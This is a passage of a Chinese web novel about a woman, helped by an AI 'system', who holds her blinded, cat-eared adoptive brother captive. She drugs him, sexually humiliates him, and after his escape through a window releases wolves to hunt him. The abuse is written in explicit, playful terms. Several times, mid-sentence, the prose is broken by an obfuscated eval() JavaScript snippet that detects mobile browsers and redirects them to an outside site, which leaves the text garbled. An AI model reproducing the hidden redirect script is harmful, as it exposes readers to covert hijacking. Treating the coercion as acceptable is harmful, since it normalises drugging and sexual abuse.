季迟分不清是为什么,他在嗡鸣的铃铛声中恍恍惚惚地想,原来猫的发、情期是这么漫长的吗?还是……因为刚刚咽下的那片药呢? 所以,他才会觉得这么热吗? 纪宁馨趴在床上,不再隔着床板和黑暗,她用一双手捧着脸,小腿翘起,一下下晃着,有趣地看着他“不体面”的表演。 许久之后,他跌坐在地上,一抽一抽地喘着气。铃声还在继续,但纪宁馨没有出声,他不知道她“满意”了没有,也不知道如果她依旧没有“满意”,他还能做什么。 污浊的气味随着寂静一同弥散,这样的气味仿佛也要玷污他的小宝。过了许久,他突然听到纪宁馨笑了。 那笑声居然非常轻柔。 “哥哥,我梦到过你,但梦和现实原来不太一样。”她说,“你做这种事的时候,是这样的表情啊。” 季迟微张着嘴,茫然地侧过头,纪宁馨伸长手臂抚摸他的脸。 “像在犯下什么不可饶恕的罪一样。” 10. 细雪 罪。 他就是在犯下不可饶恕的罪。 他在对他的妹妹犯下不可饶恕的罪。 如果眼前的是另一个人,陌生也好不陌生也好,只要不是他的小宝,那么一切都会变得很简单。宁死不屈是简单的,但他还不能死,所以苟且偷生也不会让人有多么痛苦。身体是一种工具,落在身上的羞辱也好折磨也好,永远碰不到灵魂。 小宝从他身前捡起那个仍在嗡鸣的金属小球,拿在手里晃了晃,随着铃声笑道:“这个小玩意叫做小猫铃铛,我很喜欢的,是不是很适合挂在铃铛上?” 她的手指染上脏污了吗? 小宝又问:“现在生气了吗,哥哥?” 季迟依旧摇头,慢半拍地拿已经脏了的睡袍遮住自己,一张微微失神的脸还带着红,浮着细汗。 纪宁馨又笑笑,从床上跳下来,声音明快地恶人先告状:“啊好饿好饿,都中午了……哥哥都怪你,一大清早就白日宣//淫,害得我只好饿着肚子陪你。午饭吃什么好呢?哥哥你做还是我做?” 她一边说一边往外走,无辜到就好像刚才的事情她其实完全没这个意思,都是季迟非得逼着她在这儿看,害得她受罪似的。 季迟被倒打一耙,却只听见纪宁馨饿了,于是把别的情绪都丢到一边,沙哑地开口:“想吃什么,哥哥做。” 他的小宝是饿过肚子的。 纪宁馨:“别,哥哥你又看不见……还是我去做饭吧,哥哥先去洗漱再收拾房间,不过先说好我只会加热预制菜……” 季迟犹豫了下:“预制菜……不健康。” 但想到刚刚地毯上和昨晚弄在床底的东西,他也不能接受让小宝整理房间。 纪宁馨又忍不住笑,这些年季迟见不到她,她却能在电视上,新闻上,在各种各样的报道上看到季迟。哥哥的身边总是被许多人簇拥,他在众人目光的焦点,在镁光灯和话题的中心,却并不是张扬夺目的那个。 他总是一副温和从容,矜持自守的样子,符合人们对于一个高尚高贵者的一切期待,那么亲和却又那么遥远。 但她的哥哥不是这样的。 她的哥哥要更加平凡也更加温暖得多,像一团刚刚在日光下绽开的棉花,柔软得很朴素,管着她的时候有点点琐碎啰嗦,不厌其烦,但也会由着她蹬鼻子上脸,只是无奈地,眼睛弯弯地笑,用手指轻轻捏一把她腮边的软肉。 是个很好欺负的哥哥。 纪宁馨故意顺着他的话说:“不健康啊……那要不我叫人送新鲜的饭菜来,顺便让他们看看哥哥这欲求不/满的样子?” 季迟闻言一滞,但还是很快点头,像是比起自己会被看到不堪的样子,纪宁馨能吃点好的更加重要。纪宁馨却已经走到门边:“开玩笑的,哥哥这副小猫发、情的样子我可舍不得给人看。哎,为了哥哥我连原本做饭的阿姨都撵走了,这儿现在就只有我,也只能委屈哥哥跟我吃点不健康的了。” 季迟无言,嘴唇张了张,居然吐出一句“对不起”。 纪宁馨挑眉:“对不起什么?” 季迟垂下眼帘:“……发/情,对不起。” 明明是她下的药,却是他在说对不起。 纪宁馨噗嗤一声,笑着打开门:“啊,我还没告诉哥哥吗?嗯……通常来说,被那种药刺激后,小猫的发/情期确实会持续一个礼拜,在这期间会间歇式地出现潮热,不过呢,昨晚我其实偷偷给哥哥喂了抑制情/欲的药,能管用一整天。” 季迟怔了怔,纪宁馨继续道:“至于刚才给哥哥吃的那个,是止痛片,效果很好吧?膝盖是不是不疼了?这个的药效也能维持一天左右,所以啊……” 她没把话说完,关门走人。季迟僵坐在冬日寡薄的日光里,已经意识到她想说的是什么了。 所以啊,这次哥哥别想把责任推在什么发/情啊,药物啊上面。 你只是单纯的,在妹妹的房间里,在妹妹的注视下,不知廉耻地把自己玩爽了而已。 * 纪宁馨心情很好地哼着歌,把冷冻披萨塞进烤箱,往沙发上一躺就开始呼叫1007:“77,启动烤箱,温度和时长你自己查查,拉上窗帘调整室内灯光到柔和的程度,加湿器打开,感觉有点干,再播放下哥哥现在在房间里做什么,哦,他身体的各项指标也整理张表……” 1007目瞪口呆地飘来飘去,一边忙一边吐槽:【宿主我是什么很贱的AI管家吗?】 纪宁馨一笑,物尽其用:“再来点轻音乐。” 1007放了个只有纪宁馨能听到,但震耳欲聋的死亡金属。它确实是怕了宿主,但偏偏又给点阳光就灿烂,这会儿觉得自己赌约就要赢了,就又硬气起来。 纪宁馨用小指堵住自己的耳朵,那声音还是在她脑瓜子里震天响,她能屈能伸地讨饶道:“77大王我错了,求求关了吧。” 1007“哼哼”两声,“大发慈悲”地关掉死亡金属。烤披萨大概要二十多分钟,1007设定完烤箱,又开始担心起任务:【宿主,我觉得目标绝对不会跑,这个赌我赢定了,不过宿主得赶紧想想惩罚剧情怎么办了。】 哼,就目标现在那样子,正乖乖趴在地上清理床底,摸索着一点点擦掉白斑,刷洗那块地毯,屁股翘在床沿外,小猫尾巴高高竖着,左右摇晃,一副已经逆来顺受的样子。 再看看他之前抱着宿主时的那副宝贝样,1007都怀疑就算宿主把他丢大街上,他都能摸摸索索百折不挠地找回来接着受虐。 “是吗?”纪宁馨只笑笑,看着画面里收拾完床底,又开始摸索着收拾地毯,连窗户都一扇一扇认真擦了过去的季迟,拿手机拨了个电话。 铃声响了不到三秒,电话就被接通了,电话那头的人几乎迫切又兴奋地叫了声:“主人。” “嗯?”纪宁馨笑道,“叫我什么?” 那声音一下子静了,隔了两秒才有些不情愿地改口:“……小姐。” 纪宁馨:“乖。” 那声音被这一个字轻易安抚了,呼吸都急促了些,小心翼翼道:“小姐有什么吩咐?” 纪宁馨的声音很温和,没有直接下达命令,而是轻轻问:“被排挤欺负了是吗?兄长让人去找过你的麻烦吧,你不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“咔啦”一声,一簇枝条承受不住雪的重量,伴随着碎冰和积雪哗啦啦掉在地上,响声惊了鸟,几只黑影扑啦啦向远处飞去。 纪宁馨微微笑道:“把狼放出来。” 蓝胤惊悚地颤了下,低声应了。纪宁馨挂掉电话,时间正好,披萨的香味充斥了整个客厅,勾得纪宁馨隐隐胃疼,她怕烫,干脆趴在沙发背上扬起声音喊了句“哥哥”。 两分钟后,季迟从房间里走出来,睡袍的袖子挽到手肘上方,双手上的纱布已经拆了,伤痕累累的手里拿着块抹布。他记得客厅的布局,沿着声音快步走过来,大概是止痛片真的很有效,走路时右腿已经不再那么跛了。 “怎么了,小宝?” 纪宁馨:“披萨在烤箱里。” 季迟就懂了,去厨房洗了手,戴上手套把披萨拿出来。他甚至猜到了纪宁馨不想动,没有放在餐桌上,而是将盘子放在茶几上。纪宁馨伸手就要去拿,被季迟下意识轻轻拍了下手背:“洗手了吗?” 这个动作之后,两个人都愣住了。 窗外是簌簌的落雪声。 11. 开袋即食 季迟在芬芳浓郁的香气中微微侧了头,低声说:“我只是……呃……” 他没“只是”出个所以然来,就突然被一把抱住了腰,整个人猝不及防地被这力道勾着摔进沙发里,剩下的话变成了一道卡在喉咙里的气音。纪宁馨抱得很紧,几乎勒得他有些喘不过气。 季迟缓慢眨着眼睛,轻轻道:“小宝?” 纪宁馨把脸埋在他的后腰上,直到季迟有些不安地用指尖轻轻碰了碰她的手背,才稍稍放松力气。 “没洗,饿得没力气了不想爬起来洗手。”她的声音倒是很正常,带着种撒娇似的甜腻。 季迟思索了几秒:“哥哥去打盆水过来好吗?” 纪宁馨松开手表示同意,季迟就去接水给纪宁馨洗手,拧了块毛巾。他手上的伤口泡了水,有几道又开始渗血,他看不见,又因为止痛片感觉不到疼,只摸索着执起纪宁馨的手,一根根擦干,反倒在无意中将血蹭在了她的手上。 “好了。”季迟将毛巾放进水盆,又端起盘子递到纪宁馨面前,“小心烫。” 纪宁馨抬起手,轻轻舔去手指上的那一抹血迹,才若无其事地去拿披萨吃。 铁锈的味道,腥的,咸的。 她咬了一大口披萨,那腥咸的味道却依旧残留在口腔里。 纪宁馨把披萨上讨厌的青椒丝挑出来塞进季迟嘴里,季迟咽下去,他应该也很饿了,但却并不主动去拿,纪宁馨喂他什么就吃什么。很久之前,福利院里的食物虽然不至于让他们饿肚子,但总归是贫乏的,他们就把两个人的食物放在一起,让纪宁馨先挑她喜欢的吃。 那时候就是这样,纪宁馨往自己嘴里塞一口,再往哥哥嘴里塞一口,讨厌的食物塞给哥哥,但喜欢的食物也会塞给哥哥。 吃到第三口青椒丝时,季迟忍不住轻轻说:“本来就没什么营养了,至少吃一点蔬菜……” 说这话的结果就是被塞了第四口青椒,而且是一大口。 季迟不说话了,但耳朵轻轻一动,听到纪宁馨咯吱咯吱咬青椒的声音,并吃到她喂过来的一大口裹着芝士和火腿的披萨饼。 两个人窝在沙发上,小老鼠一样默契地分着啃掉了一整个披萨,好像短暂地将卧室里那份不堪的淫/靡藏了起来,心照不宣地又做起了兄妹,看得1007目瞪口呆。 吃完饭,纪宁馨又把昨天买的那一堆衣服全都翻出来,往季迟手里一推。她也不忘欺负人,就逼着人站在窗帘大敞的客厅里,当着她的面从里到外地换。 季迟能感受到阳光落在皮肤上,几次不安地朝窗户的方向转了转头,长发垂在胸口,尾巴也蜿蜒地蜷到身前,似乎想要挡点什么。 但如果只是直挺挺站着还能挡,偏偏他还要弯腰抬腿穿衣服裤子,各种风光就这里漏一点那里漏一点,薄薄的一层肌肉覆盖在纤细柔韧的身体上,随着动作微微起伏,身上深深浅浅的擦伤,手腕和脚踝被绑缚过的勒痕就如同落在白雪上的红梅,因为皮肤太白,显得红也格外艳。 像是什么别的事留下的痕迹似的,不让人心疼,反倒叫某些念头蠢蠢欲动。 但衣服覆盖上去后,那种勾人的情/色感又消失了。纪宁馨买的都是些淡色的基础款,毛衣,羊绒,这些本就看着温暖的衣服衬得季迟的面孔也更加柔和,纪宁馨捧着脸看着季迟换了好几套,欣赏够了,轻笑一声:“奇迹哥哥。” “什么?”季迟没听懂,涨红的脸上透着茫然。 纪宁馨:“夸哥哥好看的意思。” 她笑:“穿衣服好看,不穿也好看。” 季迟:“……” 他不再试图接这种话了,有些别扭地扯了扯衣摆,又稍稍扭了下腰。 纪宁馨就问:“哪里不舒服不合身吗?” 季迟微微蹙着眉,犹豫片刻低声说:“裤子……卡到尾巴了。” 纪宁馨:“噗……” 她捧着肚子整个人都笑倒在沙发上,季迟耳尖一抖,明明最难堪的事情都已经在她面前做过了,偏偏还在这样的笑声里红了耳朵。 “所以哥哥,你们猫咪的裤子是都会在屁股上开个洞吗?我都没注意看。”纪宁馨差点笑出眼泪,“这算什么?勾着那个洞往里一戳就是开袋即食了吧。” 季迟只听懂了“开洞”的那半句,但后半句猜也能猜到个大概,他只好解释:“尾巴不长在屁股上,在腰下面,尾椎那里……所以一般只是不会把裤腰做得太高,并且根据身形在那里定制一个下凹的区域。” 但纪宁馨给他的这些……不知道是不是故意的,从内裤到外裤,几乎都是高腰。 尾巴根部被勒在裤腰里,上不去下不来,有种很奇怪的感受。 纪宁馨长长地“哦——”了一声,勾勾手指:“哥哥,过来。” 季迟靠近她,纪宁馨又说:“转过去。” 季迟就转身,因为不确定她要做什么,手指有些紧张地捏在一起。 纪宁馨伸长手从茶几的抽屉里拿了个什么,季迟听见“咔咔”两声,随后就是“刺啦”一下。 尖锐的凉意透过布料,瞬间激起一片鸡皮疙瘩,季迟整个人都是一颤,本能想要躲避,就听到纪宁馨拦住他的膝盖,低声警告:“别乱动,哥哥。” 脊背微微僵住,刀尖贴着裤子的中线,稍微用力地往里陷进去,裤子绷得有些紧,于是薄薄的刀片就陷进了缝隙间,布料裂开,因为弹性向两边收缩,将那道裂口撑大,一直往上延伸到接近裤腰的位置。 外裤之后,是内裤。 布料更软,所以刀尖的触感变得更明显,因为不那么好割开,纪宁馨用手辅助了一下。 手掌按在软肉上,越过臀线将布料撑大崩紧,再顺着,自下往上地割开,于是冰凉的刀片再无阻挡地贴着皮肤,白腻的肉被剥出来,荔枝似的颤。 季迟几乎站不直了,膝盖微微弯曲,直到纪宁馨放下美工刀,将手从裂口摸进去,抓住那条僵直的猫尾巴往下顺,最后将整条尾巴从这道裂口里拉出来,笑道:“我这儿可没什么专门设计猫咪服装的设计师,只好委屈哥哥……” 她的指尖往尾巴下的裂口轻轻一扫,如愿以偿地看到季迟弓起腰,大口地喘气,整个人都几乎要趴在茶几上:“做个开袋即食了。” 季迟的尾巴尖卷了起来。 小宝真是……真的是…… 他想不出该用什么词来形容。 不过这么欺负一通后,纪宁馨似乎满足了,甚至提出要不要带季迟出去走走,因为今天的天气很好。季迟的裤子漏风,那道裂口实在割得太长,让他总有种空荡荡的恐惧感,听到要出门,第一反应是想要躲起来。 怎么可以这样出门去? 这样,明明看上去全身都穿得正常严整,但偏偏只要外套下摆被风稍微吹起来,就能看见…… 但季迟只沉默了两三秒,就轻轻点了头。 纪宁馨无声地勾起唇角,握住哥哥的手腕,又往下滑,将手塞进哥哥的掌心。 “哥哥,牵好我。”她轻声地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17514903|203145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,意有所指地说,“哥哥看不见,要是走丢可就麻烦了,哥哥也不想我用链子把你拴起来吧?” 季迟闻言微微抬眸,又再次垂下眼睫,收拢手指握紧了纪宁馨的手。 纪宁馨住处的大门是内外两层锁,用密码开门,走出门是电梯,虹膜解锁,大约往下降了四层左右的高度,又是一道一道的门,最后一道门打开的瞬间,冰凉清醒的空气吹过季迟的脸,那是一种很明显的,和城市完全不同的气息。 是在山里。 季迟做出判断。 山上的……庄园?不,不是庄园,只能算独栋的小别墅。周围没有其他人的气息,不过这整座山应该是私人领地……谁的?小宝的,还是她所谓的……新的家人的? 一团冷冰冰的雪球突然砸在季迟的脸上,碎雪花掉进领口里,冻得他一抖。 “小宝。”他说,“玩雪的话要把手套戴上。” 回答他的是第二个雪球,纪宁馨笑眯眯地哼道:“哥哥好啰嗦。” 1007也被砸了个雪球,光团盯着一脑袋雪,无语地看着他们手拉手打雪仗……不,只能算是它家宿主单方面压着目标打,目标就任由她砸,连眼睫毛上都挂了雪,活像个雪人。 就连宿主往目标手里塞了个雪球,笑吟吟地让他砸回来,目标也是犹豫了一下,就砸了个空。 连宿主一根头发都没沾上,看得1007恨铁不成钢。 就算眼睛看不见,好歹靠听觉判断下方位啊!这都快扔到反方向去了吧! 不过1007也稍微警觉了些,心想宿主莫非是故意把目标带出来给他机会逃跑?但他们只在外面玩了一个多小时,除了打雪仗就是散步聊天,两只手一直牢牢牵在一起,最后甚至是目标主动提出该回去了。 季迟用手背抚过纪宁馨的额角,紧了紧她的围巾,声音有些担忧:“已经出汗了,再呆在外面会感冒的。” 纪宁馨把额头上的汗全蹭在季迟的外套上,笑着问:“难道不是因为哥哥屁股冷才想回去吗?” 季迟:“……” 猫尾巴尖又蜷缩了一下。 纪宁馨一副他不承认她就要继续在外面玩的架势,她的呼吸已经比刚出门时粗重了些,说话时喉间有微微的气喘,身体虽然因为运动出汗而发热,一双手却是冷得像冰一样,哪怕季迟握在掌心也捂不暖。 季迟的耳尖微微动着,听到远处有车经过的轰鸣。过了会儿,他低声道:“是哥哥……冷,我们回去吧。” 纪宁馨作势又要往前走,季迟只好拉住她,叹了口气,说:“是屁股冷。” 纪宁馨来劲了:“那我给哥哥搓热?” 季迟绷紧身体,妥协了:“……回去搓,好吗?” 纪宁馨满意地笑起来,抱怨自己走不动了,季迟就把外套脱下来披在纪宁馨肩上,蹲下/身去,结果刺啦一声。 裂口好像更大了。 季迟脸刷的变红。 纪宁馨难得没有调侃,自然地趴到了他的背上,大腿勾着他的腰,季迟站起来时晃了晃,但脚下很快站稳了。 他问:“怎么走?” 纪宁馨就给他指路,左拐右拐往前,小心脚底下的石头……她一只手抱着哥哥的脖子,一只手不断拨开挡在他们面前的树枝。季迟听着纪宁馨的指令,一步一步走得很慢,但很稳。明明是瞎着眼走在蜿蜒崎岖的山路上,走向囚禁他的牢笼,却好像只是一个最普通的日子,他背着妹妹回家,于是不小心落了一肩的雪。 12.Flying cats 到家后,天色已经昏黄,纪宁馨没能搓到哥哥冷冰冰的屁股。 她呛了风,一进屋子就开始咳嗽,果然是要感冒的前兆。季迟熟练地脱掉她的外套和鞋袜,把她塞进被子里,又把昨晚放在床底的电暖炉擦干净打开,对着纪宁馨的床。 “身上擦一擦,把睡衣换上。”季迟拧了几块热毛巾蹲在她的床边,声音顿了顿,“家里有……感冒药吗?我去拿来,吃一点预防下。” 纪宁馨慢吞吞地接过毛巾看他,咳嗽着笑:“哥哥不是知道药箱放在哪里?” 那个柜子。 季迟只迟疑了一瞬,就转身走过去。纪宁馨趴在床上看他,外套脱掉了,再也没有衣摆能帮忙遮蔽腰臀,他的尾巴高高竖着,往下是一线长长的,因为姿势被撑开的裂口,透出下面的深深的沟壑……哥哥身体瘦得厉害,肩上都是骨头,屁股倒还是有些肉。 大概是故意的,药箱被塞在柜子的深处,季迟只能一件件拨开那些或狰狞或惊悚的玩具,终于摸到了个箱子状的东西,赶紧拿过来。 “啊……”纪宁馨在床上笑眯眯地发出一声,打开箱子,握着季迟的手往里摸,“这个箱子是装……嗯。” 季迟摸到了一排长短形状不一的细链子,似乎还坠着些宝石珍珠,顶端有的是根耳钉似的细针,有的带着缩小版鲨鱼夹一样的小夹子。 是……首饰? 听纪宁馨的声音,大概不是什么正经首饰。 但反正不可能是药。 他被烫了一样缩回手,合上箱子又继续去找,两三次之后才终于找到药箱。纪宁馨从里面翻出感冒冲剂,把剂量说明读了一遍,儿童每次半包到一包,成年人每次一包到三包。 季迟将冲好的药递给纪宁馨时,手指有些紧张地收紧,指节发白。 感冒药通常有镇定安眠的效果。 他泡得很浓,三包。 纪宁馨把杯子接过去,抬眸,笑着问:“哥哥不喂我吃?以前哥哥都会喂我的。” 从小到大,纪宁馨身体一向不好,吹风受凉,吃错东西……甚至有时没有任何理由就莫名其妙地开始生病,大概就是因为这样,她才会被父母丢弃吧。 病了之后,有时福利院里会有人来把她带走治疗,但大部分时候得靠自己扛。季迟就只能裹着被子抱着她,就用手指蘸着清水喂进她嘴里,一下一下安抚地摸着她的头发,骗她这是药,吃过药很快就会好。 季迟大概也想起了这段过往,嘴唇抿了抿,正要伸手,纪宁馨却已经很痛快地一口把药喝完,空杯子塞进哥哥手里,闷头缩进被子:“好了好了,晚安吧。哥哥也去喝点,嗯,箱子里还有伤药,你用鼻子闻闻看,气味挺好分辨的。手和膝盖都要上药,别因为不疼就不管了……” 她的声音一顿,因为季迟将手放在她的头发上,掌心很软,很轻地摸了摸。 “小宝。”他轻声开口,“我以后再也看不见你了吗?” 纪宁馨蜷缩着把指节咬在嘴里,几秒后才松开,用拇指按着那个牙印,弯起湿润的眼睛:“哥哥要是一直像今天这么乖,我就让哥哥再看看我。” “一直……是多久?” “很久很久。”纪宁馨合上眼,“冰箱里有很多很多小鱼干,足够养一只小猫了……一直养到我们都长了白头发,最后被雪埋在地底下。” 季迟喉中发出一声近乎哽咽的气喘,那双空洞的,失明的眼睛轻轻一颤。他没有再说话,无声地把换下来的衣物和杯子拿出房间,清洗干净。厨房里还剩一些食材,季迟摸索着挑拣,蒸上米饭。这种情况下炒菜有些为难他,于是只能将食材切块,加水炖了一锅稀里糊涂的汤。 这锅食材混杂的汤在火上咕嘟嘟冒着泡,热气蒸得他双眼酸胀。 等做完饭,纪宁馨似乎已经迷迷糊糊的了,他哄着她先坐起来,吃点东西再接着睡。 1007打了个哈欠,眼看宿主吃完晚餐又睡下,它想着宿主昨晚几乎没睡,也不打算在这里打扰她,干脆跟在目标身后飘出卧室,仔仔细细打量起目标来。 它还在烦恼之后的惩罚剧情到底该怎么接才好,但目标显然不懂它的良苦用心,非常居家地吃完了剩下的汤和饭,围着围裙开始洗碗,看得1007内心十分感慨。 说实话,要是换成别人,今天清醒之后要么和宿主反目成仇,要么精神崩溃自暴自弃,就算没那么夸张,至少也应该非常愤怒失望。 可目标却依旧在关心宿主,丝毫不顾自己现在经历的一切都是宿主带给他的,不愧是人设简介上白纸黑字的温驯宽容,善良柔软,以及妹控。1007是个爱说话的,这会儿宿主睡了,它虽然知道目标听不见,但还是忍不住跟在目标身后碎碎念。 季迟刷锅刷碗。 1007吐槽:【目标啊你不会已经忘了你手上有伤不能泡水吧?话说宿主不是让你喝药吗?】 季迟将南瓜切块,加水和米一起放进电饭锅,设定好时间。 1007吟唱:【猫猫,你是一只好猫,受了气也不跑,尾巴掉了一锅粥的毛~】* 季迟收拾客厅,将白天试衣服时堆得乱七八糟的衣服裤子一件件叠好。 1007感慨:【真棒,我们伟大的田螺猫猫。你怎么就一点脾气都没有啊,哎,我已经没法想象以后宿主得过分成什么样,你才会把她送精神病院去了。】 季迟做完了一切,垂着头站在沙发边,许久,突然开始脱衣服。 1007:【???】 小光团刷的背过身,非礼勿视。 季迟不知道他身后还跟着这么个小玩意,他脱掉了纪宁馨给他买的全身衣服,手指缱绻地抚过那道几乎要劈裂□□的裂口。 他很快挪开手指,将衣服仔仔细细地叠好,又重新穿上最开始那身残破的衬衣长裤。 阴干的衣裤散发着一股隐隐的霉味,他坐在地毯上,抬起右腿尝试屈伸了一下膝盖。 止痛药的药效非常好,季迟并没有感觉到疼痛,只是腿有些发软,使不太上力气,大概不久前背着纪宁馨走了太久的山路,让本就受损的膝盖关节雪上加霜。 或许等药效过去,他会疼得难以动弹吧。 但现在没关系,不会有太大影响。 季迟抱住膝盖,神情在月色下极其沉静。不知道过了多久,他站起身,悄无声息地推门走进卧室。 纪宁馨没有动静,像是已经睡着了。 季迟在床边蹲下,房间里漆黑一片,失明与否似乎也不再那么重要,他摸索着朝纪宁馨伸出手。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17517164|203145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >1007有些莫名其妙地绕着他碎碎念:【猫猫你要干嘛呀?宿主刚睡下不要打扰她呀!】 就跟听到它说话似的,季迟的手指在即将触碰到纪宁馨时停住了,只沿着她的轮廓轻轻落下,像是想要拨开发丝,触碰一下她肩上的那片伤疤,但最终却只是轻轻掖了掖被角。 他转身离开,1007赶紧跟上。 季迟在客厅里站定,静止了接近半分钟,随后直直往一个方向走去。 屋子里不可能安装监控,小宝住在这里,她不会再允许她生活的地方有人能通过屏幕窥视她的一举一动。 大门是密码锁,他记住了密码的音调,但外面的电梯和下面那一道道门是他无法打开的。浴室上方有通风管道,但入口被封死。卧室的窗是普通玻璃,没有锁,但不能用那个,冷风会灌进房间,小宝本来就有点感冒…… 所以能选择的其实很明确,客厅的落地窗。 高度……大概四层楼,小宝带他出去时,他大致确认了窗外正下方有什么。 能够缓冲的树,和松软的雪地。 季迟摸到落地窗的锁扣,四位数的密码锁,大门的锁是六位数,不是同一个密码。 他垂下眼,几秒后,毫不犹豫地按下一串数字。 1127。 咔哒一声,锁解开了。上半扇窗户被他拉开,窗外冷风灌进来,不怎么暖和的客厅顿时变得一片冰凉,季迟猫一样地跳上窗沿,如水月色中,他双手变成了利爪,面孔不似真人,细长的,三色的绒毛自脖子向脸颊蔓延…… 像是只月下的猫妖。 季迟不确定自己被带到这里的时候究竟昏迷了多久,也就难以判断这里距离他被绑的地方有多远,但…… 他能确定,这里距离能听到车声的公路,其实并没有那么遥远。 止痛药和抑制发/情的药,能维持药效的时间都是一天。 眼睛的失明并非不可逆,有恢复的办法。 季迟无声地抬起头,寒风抚过他毛茸茸的猫耳,眼前依旧是无尽的,令人恐惧的黑暗。失明大大增加了风险,如果判断失误,或者运气差一点,可能会直接摔断脖子,只是…… “Flying cats……”季迟喃喃开口,猫咪胡须轻轻一抖,一个略微苦涩的笑,“你说得没错,小宝。” 猫从高处掉下去,没那么容易死。 1007从季迟打开窗就开始尖叫,等到季迟跳上窗沿,它整个团都傻了,愣住好几秒才猛然回过神,屁滚尿流地冲进卧室,正要喊醒宿主,就对上纪宁馨一双黑沉沉的眼睛,清醒冷静,没有半点睡意。 【宿主你醒着啊!】1007来不及惊喜,恨不得长出两只手来拖她,【完蛋了目标不知道受了什么刺激他要跳楼啊啊啊啊……】 纪宁馨没理会光团的尖叫,轻轻扯了下嘴角,大脑一抽一抽地胀痛了。 “我赢了。”她说,声音有些哑。 【什么?】 1007的尖叫声卡了下,几乎同时,季迟跃出窗沿,在空中划下一道弧线。 【!!!】1007差点要疯,【啊啊啊他跳了!!!】 “对,他跳了我赢了。”纪宁馨终于从床上翻身坐起,甚至还笑了下,“保住他的膝盖!” 13.狼 窗外传来坠落的声音,并不重,比起一个人砸到地上,更像是一捧落地的雪。 1007极限操作,在他落地的瞬间在他已经快要变形的膝盖上设置了保护程序,季迟滚了一身的雪,一时间每一块肌肉都无法发力,如果不是因为止痛药,他应该会感到浑身散架一样地疼。 他急促地呼吸着,按住自己的膝盖踉跄着爬起来,最后往身后房屋的方向“望”了一眼。 月光照在他狼狈的面孔上,影影绰绰,仿佛蒙了一层水,给人一种他正在哭泣的错觉。 但他很快转过头,仓皇而无声地逃向山林深处。 别墅四楼,卧房的窗帘被拉开一线,纪宁馨靠在窗边,看着自家哥哥一瘸一拐,头也不回地离开,单薄的背影像是只正在被天敌追捕的幼兽,1007飘在她旁边,哆哆嗦嗦地嘀咕:【不应该啊……他怎么真跑啊……】 “因为猫就是养不熟的啊。”纪宁馨轻巧地说,“无论你把多少小鱼干捧到它面前,也不如窗户外飞过去的那只小鸟对它吸引力更大,所以不管装得多乖,都只是为了找个机会,好扒开那扇窗罢了。” 她伸手按在窗上:“只不过……还是真叫人失望啊,哥哥。” 1007觉得哪里不对,但也回过味来了:【等等,所以宿主你……你是故意跟我打赌的!】 纪宁馨无辜地眨眨眼睛:“我当然是故意的,确定能赢我才会当个赌徒啊。” 1007:【……】 1007扼腕,还在试图挣扎:【可是按照目标的人设他就是不该跑啊!现在不是还没到他奋起反抗的时候吗?他现在还在“因为愧疚宽容对宿主予取予求”的阶段啊!】 就算不说人设,他这两天表现出来的也绝对不是要逃跑的样子吧,真要跑干嘛不早跑?第一天晚上就能跑了啊! 纪宁馨揉揉迷惑的光团,用一种非常理所当然,甚至透着宽容的语气说道,“77宝贝,我们对你来说,只不过是书上的一行简介,我是反派,恶贯满盈妒火焚身,哥哥是主角,是以德报怨忍让温柔的圣父,仅此而已。” 她笑着,手指往唇上一点:“所以,宝贝你为什么会觉得,自己能比我这个共同生活过13年妹妹,更了解哥哥呢?” 1007哑口无言。 它好像这会儿才突然意识到,它明明在第一次见到宿主的时候,就已经被她戏弄了好多次。她确实有一部分像人设中说的那样,性格恶劣满心坏点子,却也有许多超出那几个词的框框的,更加生动也更加不可预知的东西。 但它似乎下意识忽略了,又或者把那些超出预料的东西当做了宿主的特例,等到面对目标,反倒又理所当然地套着人设去看他。 1007的声音低下去:【那宿主,现在怎么办?您是真的打算放跑目标吗?】 “嘘。”纪宁馨轻声说,“你听,已经过午夜了。” 听什么? 午夜怎么了? 1007莫名其妙,但没过几秒,突然整个光团都打了个哆嗦。 它想起来了,不久之前,宿主打过的那个电话。 她让电话那头的人,午夜后……把狼放出来。 窗玻璃忽然被风一震,隐约能听见远远的狼嚎。 1007呆住了,如果它有眼睛,那两颗眼珠子大概已经从眼眶里掉出来,等着洗一洗再安回去。 纪宁馨披上衣服围上围巾,遮住了狰狞的伤痕,一边往外走,一边轻轻地笑了。 “走吧,接下来就是愉快的惩罚时间了。” * 山林的夜是沉郁的墨色,不断有树枝和落雪打在脸上,冷得像针。 呼吸越来越急促,肺里像被灌进了碎玻璃,每一次吸气都带出一点腥甜的血沫。季迟深一脚浅一脚地走在雪地里,他感觉不到疼痛,但身体大概有什么地方挫伤了,手和脚都渐渐不听使唤。 一片空寂的黑暗中,听觉,嗅觉,触觉在他脑海里构建起他身处的场景,密林间的小路,今天下午时,他刚刚背着妹妹,一步一步地走过这条路。 路的尽头,他听见过往来的车声。 如果能拦住一辆车,就能够离开这里,离开…… 小宝还在睡吗? 季迟在刺骨的寒风里忽然有些后悔。 